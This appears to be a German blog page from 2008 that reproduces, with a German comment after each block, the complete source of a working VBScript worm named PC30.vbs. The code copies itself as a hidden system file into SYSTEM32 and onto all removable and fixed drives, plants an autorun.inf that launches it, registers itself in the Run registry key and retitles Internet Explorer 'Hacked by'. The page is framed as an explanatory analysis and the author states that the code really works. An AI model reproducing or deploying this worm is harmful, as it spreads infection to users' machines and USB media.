Kommentierter VBS-Virus

Es ist wirklich manchmal erstaunlich, mit welchen einfachen Methoden sich Windows-Viren verbreiten. Das erinnert schon fast an die „guten alten DOS-Zeiten“, in denen eine Verbreitung fast ausschließlich über Disketten verlief. „Back to the roots“; so könnte man das nennen. Übrigens: Du tust dir keinen Gefallen, wenn du die Codeschnipsel zu einer Skriptdatei zusammenkopierst und verbreitest. Der Code funktioniert nämlich wirklich.

Nun aber zum kommentierten Code:

'Mutation of Trojan virus.
'My name is PC30.vbs

On error resume next

Bei Fehlern wird das Skript nicht angehalten, sondern einfach mit der nächsten Zeile fortgefahren. Die ersten zwei Zeilen sind nur Kommentare und werden ignoriert.

Dim mysource, winpath, flashdrive, fs, mf, atr, tf, rg, nt, check, sd,
        oldname, newname, rgname
Set fs = createobject ("Scripting.FileSystemObject")
Set wn = WScript.CreateObject ("WScript.Network")
Set mf = fs.getfile (Wscript.ScriptFullname)

Ein paar Variablen definieren und belegen. Unter anderem: Zugriff auf das Dateisystem und Netzwerk, sowie auf die Skriptdatei selbst.

oldname = CStr (fs.getfilename (Wscript.ScriptFullname))
newname = wn.ComputerName & ".vbs"
rgname = Replace (newname, ".vbs", "")
atr = "[autorun]" & vbcrlf & "shellexecute=wscript.exe PC30.vbs"

Weitere Variablen belegen: Der Virus soll dabei anscheinend „mutieren“, indem er einen neuen Namen, den des Computers, bekommt.

dim text, size
size = mf.size
check = mf.drive.drivetype
Set text = mf.openastextstream (1, -2)
do while not text.atendofstream
    mysource = mysource & text.readline
    mysource = mysource & vbcrlf
Loop

Nun liest das Skript seinen eigenen Quelltext in eine Variable ein…

mysource = Replace (mysource, oldname, newname)

…um im nächsten Schritt den Namen des letzten infizierten Computers mit dem aktuellen ersetzt.

do

    Set winpath = fs.getspecialfolder (0)
    Set tf = fs.getfile(winpath & "\SYSTEM32\" & newname)
    tf.attributes = 32
    Set tf = fs.createtextfile (winpath & "\SYSTEM32\" & newname, 2, true)
    tf.write mysource
    tf.close
    Set tf = fs.getfile (winpath & "\SYSTEM32\" & newname)
    tf.attributes = 39

Zunächst wird eine Schleife gestartet, die mindestens einmal durchlaufen wird. Danach kopiert sich das Skript in das Windows-System-Verzeichnis und ändert die Dateiattribute so ab, dass es als versteckte Systemdatei – mit den Standardeinstellungen – nicht mehr im Explorer angezeigt wird.

For each flashdrive in fs.drives
    If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and
            flashdrive.path <> "A:" Then
        Set tf = fs.getfile (flashdrive.path & "\PC30.vbs")
        tf.attributes = 32
        Set tf = fs.createtextfile (flashdrive.path & "\PC30.vbs",
                2, true)
        tf.write mysource
        tf.close
        Set tf = fs.getfile (flashdrive.path & "\PC30.vbs")
        tf.attributes = 39

        Set tf = fs.getfile (flashdrive.path & "\autorun.inf")
        tf.attributes = 32
        Set tf = fs.createtextfile (flashdrive.path & "\autorun.inf",
                2, true)
        tf.write atr
        tf.close
        Set tf = fs.getfile (flashdrive.path & "\autorun.inf")
        tf.attributes = 39
    End If
next

Dasselbe wird nun auch mit allen Wechseldatenträgern und sonstigen Festplatten gemacht. Hier erstellt der Virus allerdings noch eine autorun.inf, die das Skript zum Beispiel automatisch beim Einstecken eines USB-Sticks startet. Eine eventuell bereits vorhandene Datei wird überschrieben. Laufwerk A, das normalerweise für das Diskettenlaufwerk reserviert ist, bleibt übrigens verschont.

Set rg = createobject ("WScript.Shell")
rg.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\" &
        rgname & "", winpath & "\SYSTEM32\" & newname
rg.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title",
        "Hacked by " & Replace (oldname, ".vbs", "")

Nachdem sich der Virus verbreitet hat, beginnt seine „Schadroutine“, die einerseits das Skript in den Autostart einträgt, sodass es beim nächsten Neustart wieder mitstartet, und andererseits den Titel des Internet Explorer in „Hacked by“ und den Namen des vorher infizierten Computers ändert.

    if check <> 1 then
        Wscript.sleep 120000
    End if
loop while check <> 1

Wenn das Skript nicht auf von einem Wechseldatenträger gestartet wurde, dann wartet es 120 Sekunden, bevor es – wiederum nur wenn es nicht von einem Wechseldatenträger gestartet wurde – erneut alle Laufwerke infiziert und seine Schadroutine wieder ausführt.

Set sd = createobject ("Wscript.shell")
sd.run winpath & "\explorer.exe /e,/select, " & Wscript.ScriptFullname

Zum Schluss – so vermute ich jedenfalls – führt sich das Skript noch einmal selber über den Explorer aus.


#000b, erstellt: 2008-10-05, aktualisiert: 2008-10-05, src, meta
Start, Impressum, zurück: Beispielhack, vor: PHP include-Hack mit %00